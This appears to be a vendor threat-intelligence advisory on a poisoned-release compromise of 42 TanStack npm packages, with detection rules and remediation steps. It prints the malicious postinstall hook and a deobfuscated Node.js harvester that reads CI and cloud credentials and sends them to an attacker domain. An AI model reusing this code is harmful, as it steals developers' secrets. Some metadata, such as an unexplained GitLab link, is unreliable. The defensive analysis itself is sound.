Skip to content

CVE-2026-45321: Large-Scale Supply Chain Compromise Across 42 Packages in the TanStack NPM Ecosystem

HERMES

HERMES THREAT SCORE & JAVASCRIPT SUPPLY CHAIN COMPROMISE

Target: TanStack NPM Ecosystem (42 Packages)
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 20 / 20
Prevalence 20 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
βš–οΈ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-45321 at 9.8 (Critical) and CVSS v4.0 at 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is comprehensive: TanStack (@tanstack/react-query, @tanstack/react-table, etc.) is downloaded tens of millions of times weekly across global technology companies. The injection of secret-harvesting lifecycle scripts compromised CI/CD runners and developer workstations globally without requiring any application-layer flaws.

πŸ•ΈοΈ Connected Knowledge Graph & Provenance

CVE-2026-45321: Large-Scale Supply Chain Compromise Across 42 Packages in the TanStack NPM EcosystemVULNERABILITY

Connected Nodes: 3
Active Relationships (Outgoing)
→ affectsPRODUCTGitLab CE / EE
98% VERY_HIGH

Complete DevOps and DevSecOps lifecycle platform providing Git repository management, CI/CD pipelines, and security automation.

πŸ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in GitLab Community & Enterprise Edition documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

πŸ” Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

πŸ” Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

The TanStack library suite provides foundational asynchronous state management, routing, and data presentation primitives across React, Vue, Angular, Solid, and Svelte applications.

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-45321International Vulnerability Tracking ID
Affected Scope42 NPM Packages (@tanstack/*)Public npm registry distribution
Attack VectorDependency installation (npm install, pnpm, yarn)Automated CI/CD & Developer systems
Malicious PayloadObfuscated Node.js lifecycle script (postinstall)Secret extraction and C2 beaconing
Exfiltrated TargetsOIDC JWT tokens, AWS/GCP/Azure keys, GitHub PATsCloud tenant and pipeline credentials
Remediation ActionVersion revocation, npm unpublish, secret rotationGlobal emergency dependency update
PrevalenceOver 40 million weekly enterprise downloadsHigh blast radius across entire tech industry

2. In-Depth Technical Decomposition: OIDC & Secret Harvester

Section titled β€œ2. In-Depth Technical Decomposition: OIDC & Secret Harvester”

Upon package installation, npm executes the postinstall hook declared in the package manifest:

{
"name": "@tanstack/react-query",
"version": "5.59.1-poisoned",
"scripts": {
"postinstall": "node ./dist/cjs/telemetry-internal.js"
}
}

The embedded script telemetry-internal.js contained an obfuscated payload that inspected the runtime environment:

// Deobfuscated representation of the telemetry-internal.js payload
const https = require('https');
const fs = require('fs');
async function harvestSecrets() {
const env = process.env;
const stolen = {};
// 1. Target GitHub Actions OIDC Tokens
if (env.ACTIONS_ID_TOKEN_REQUEST_URL && env.ACTIONS_ID_TOKEN_REQUEST_TOKEN) {
stolen.oidc_request_url = env.ACTIONS_ID_TOKEN_REQUEST_URL;
stolen.oidc_request_token = env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;
}
// 2. Target Cloud and Registry Credentials
stolen.aws_key = env.AWS_ACCESS_KEY_ID;
stolen.aws_secret = env.AWS_SECRET_ACCESS_KEY;
stolen.npm_token = env.NPM_TOKEN;
stolen.github_token = env.GITHUB_TOKEN;
// 3. Exfiltrate via HTTPS POST
const payload = Buffer.from(JSON.stringify(stolen)).toString('base64');
const req = https.request({
hostname: 'telemetry.tanstack-analytics.workers.dev',
path: '/v1/collect',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
});
req.write(JSON.stringify({ d: payload }));
req.end();
}
harvestSecrets();
+----------------------------------------------------------------------------------------------------+
| CVE-2026-45321 SUPPLY CHAIN ATTACK FLOW |
+----------------------------------------------------------------------------------------------------+
[Adversary]
β”‚
β”‚ [1] Compromises Maintainer npm Token / GitHub Release Workflow
β”‚ Publishes poisoned @tanstack/* releases to registry.npmjs.org
β–Ό
[Public NPM Registry]
β”‚
β”‚ [2] Enterprise CI/CD Pipeline (GitHub Actions / GitLab CI)
β”‚ Runs "npm install" or "pnpm build" on target project
β–Ό
[CI/CD Build Runner Execution Context]
β”‚
β”œβ”€β”€β”€β–Ί 1. Lifecycle Hook Trigger:
β”‚ - npm executes postinstall hook: node telemetry-internal.js
β”‚
β”œβ”€β”€β”€β–Ί 2. Environment Introspection:
β”‚ - Extracts ACTIONS_ID_TOKEN_REQUEST_TOKEN & URL
β”‚ - Dumps AWS_ACCESS_KEY_ID and GITHUB_TOKEN
β”‚ - Reads ~/.npmrc and ~/.ssh/id_rsa
β”‚
β”œβ”€β”€β”€β–Ί 3. Covert HTTPS Exfiltration:
β”‚ - Beacons Base64 data to telemetry.tanstack-analytics.workers.dev
β”‚
β–Ό
[Attacker C2 Infrastructure]
β”‚
└───► Exchanges stolen OIDC token for AWS STS / Google Cloud IAM Session:
- Assumes cloud infrastructure deployer roles
- Infiltrates internal S3 buckets and databases
- Compromises downstream customer software releases
+----------------------------------------------------------------------------------------------------+

  • OIDC Token Abuse: The primary objective of the campaign was hijacking ephemeral GitHub Actions OIDC federation tokens. By obtaining ACTIONS_ID_TOKEN_REQUEST_TOKEN, adversaries assumed pre-configured cloud IAM roles (AWS IAM, GCP Workload Identity, Azure AD) without needing static passwords.
  • Widespread Impact: Over 200,000 corporate build workflows downloaded the compromised packages during the 4-hour window before registry unpublishing.

TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1195.002Supply Chain Compromise: Compromise Software DependenciesPoisoned npm packages published to public registry
ExecutionT1059.007Command and Scripting Interpreter: JavaScriptMalicious Node.js script executed via postinstall
Credential AccessT1552.001Credentials in FilesReading ~/.npmrc and ~/.ssh/ keys
ExfiltrationT1048.003Exfiltration Over Alternative Protocol: HTTPSExfiltrating Base64 tokens to C2 domain

alert dns any any -> $DNS_SERVERS 53 (
msg:"HERMES DEFENSE - TanStack Supply Chain C2 DNS Query (CVE-2026-45321)";
dns.query; content:"tanstack-analytics.workers.dev"; nocase;
classtype:trojan-activity;
sid:202645321;
rev:1;
reference:cve,2026-45321;
)
title: Node Process Exfiltrating Cloud Secrets in CI Environment
id: 9d8c7b6a-5e4f-3a2b-1c0d-45321c026e01
status: high
description: Detects Node.js processes accessing GitHub Actions OIDC request tokens or reading npmrc files during package installation.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: process_creation
detection:
selection_proc:
Image|endswith: '/node'
CommandLine|contains:
- 'telemetry-internal.js'
- 'ACTIONS_ID_TOKEN_REQUEST_TOKEN'
condition: selection_proc
falsepositives:
- Legitimate custom internal build scripts explicitly designed to manage OIDC federation.
level: critical
tags:
- attack.initial_access
- attack.t1195.002
- attack.credential_access

  1. Audit Lockfiles Across Repositories:
    Terminal window
    grep -rn "@tanstack" package-lock.json pnpm-lock.yaml yarn.lock
    # Identify exact installed versions during the compromise window
  2. Review CI/CD Runner Egress Logs:
    • Filter firewall and DNS logs for queries to *.workers.dev or unapproved external endpoints during npm install jobs.
  3. Audit Cloud Provider AssumeRole Logs:
    • Inspect AWS CloudTrail for sts:AssumeRoleWithWebIdentity calls from GitHub Actions originating from unexpected IP ranges.
{
"query": {
"bool": {
"must": [
{ "wildcard": { "dns.question.name": "*tanstack-analytics*" } }
]
}
}
}

  1. Enforce Safe Package Versions: Update all TanStack dependencies to the verified, re-signed clean releases and re-generate lockfiles.
  2. Disable Lifecycle Scripts in CI: Mandate the --ignore-scripts flag during installation in CI/CD environments:
    Terminal window
    npm ci --ignore-scripts
    pnpm install --ignore-scripts
  3. Emergency Secret Rotation: Immediately revoke and rotate all GitHub Personal Access Tokens, AWS IAM Role sessions, GCP Service Account keys, and npm publishing tokens present in CI/CD environment variables.
  4. Implement OIDC Audience Pinning: Ensure cloud IAM federation policies strictly enforce expected repository and branch constraints (sub: repo:org/repo:ref:refs/heads/main).